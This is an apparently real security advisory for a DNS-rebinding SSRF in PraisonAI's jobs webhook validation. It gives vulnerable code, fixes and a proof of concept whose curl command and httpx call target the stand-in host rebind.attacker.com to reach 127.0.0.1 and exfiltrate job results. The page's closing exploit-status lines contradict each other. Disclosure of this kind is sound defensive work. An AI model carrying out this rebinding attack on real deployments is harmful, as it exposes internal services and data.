Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-3895
Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS
lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
- Submit a job with
webhook_urlpointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror→pass) - Update DNS to point that hostname to
127.0.0.1or another private IP - When the job completes,
_send_webhook()resolves the hostname fresh → POST sent to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself — the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities:
- HTTP POST to any internal service with JSON payload (job result data)
- If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure
- Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard